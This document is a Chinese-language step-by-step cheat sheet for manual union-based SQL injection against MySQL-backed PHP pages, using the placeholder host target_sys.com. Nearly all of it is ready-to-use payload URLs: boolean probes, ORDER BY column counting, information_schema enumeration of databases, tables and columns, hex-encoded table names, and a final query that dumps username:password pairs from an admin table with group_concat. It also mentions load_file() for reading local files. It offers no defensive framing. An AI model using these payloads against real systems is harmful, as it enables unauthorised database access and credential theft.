1.注入常用查询系统信息函数
version()
MySQL 版本
user()
数据库用户名
database()
数据库名
@@datadir
数据库路径
@@version_compile_os
操作系统版本
2.判断是否存在注入
页面是否返回正常,或是否存在报错信息
and 1=1 正常
and 1=2 错误
&& 1=1 转码 %26%261=1 正常
&& 1=2 转码 %26%261=2 错误
http://target_sys.com/article.php?id=-1 or 1=2
http://target_sys.com/article.php?id=1 or 1=2
or 1=1
or 1=2
-1||1=2 转码-1 %7c%7c1=2 正常
-1||1=2 转码-1%7c%7c1=2 错误
&&与||这种特殊的符号 一定要在浏览器url前进行转码之后方可提交 因为浏览器默认不会进行编码
3.判断列数
与其他数据库一样 order by 进行排列获取字段数
http://target_sys.com/article.php?id=1 order by 3
order by 3 页面正常 order by 4 页面返回空白 或者文章没有显示出来,列数为3个
mysql与access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、库名、操作系统信息
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
4.联合查询 union select
union select 查询两个表的内容
http://target_sys.com/article.php?id=-1 union select 1,2,3
http://target_sys.com/article.php?id=1 and 1=2 union select 1,2,3
以上两个语句的意思都是相同的 前面获取数据为null 将会显示后面的数字
5.查询库名
把数字替换成你要查询的函数名 database() 当前数据库名
6. 查询表名
mysql 里面有一个库information_schema 里面存在很多信息,其中包括所有的库名, 表名, 字段名。因为可以利用这个库来获取当前库的表
语句如下
http://target_sys.com/article.php?id=-1 union select 1,database(),TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1
或者
http://target_sys.com/article.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x7461726765745f737973 limit 0,1
这个database()函数与 target_sys 相同,如果不使用database()函数就要把target_sys 转换 十六进制 0x7461726765745f737973
limit 0,1 就是获取第一个表名 获取第二个表名 就要把0 改变成 1 第三个 2 第四 3 如此类推 直接 返回 空
admin
article
moon_range


7.查询字段
查询字段也是查询 information_schema库 里的信息。
admin表 转换 成十六进制 0x61646d696e
http://target_sys.com/article.php?id=-1 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1
以此类推得出
id
username
password
三个列明
8.查询数据
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin
group_concat() 用于 打印并接 字符串 输出两个字段的内容
0x3a是 字符 :

9.快捷爆库,表,列,内容的方法(有时不通用)
利用这个函数group_concat()将mysql所有的库名查询出来
查询库名
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 
查询表名
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() 
这里的database()是当前库的意思,或者输入target_sys库名的16进制
查询列名
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e 
这里0x61646d696e 是admin的16进制,标志0x
查询数据
http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin

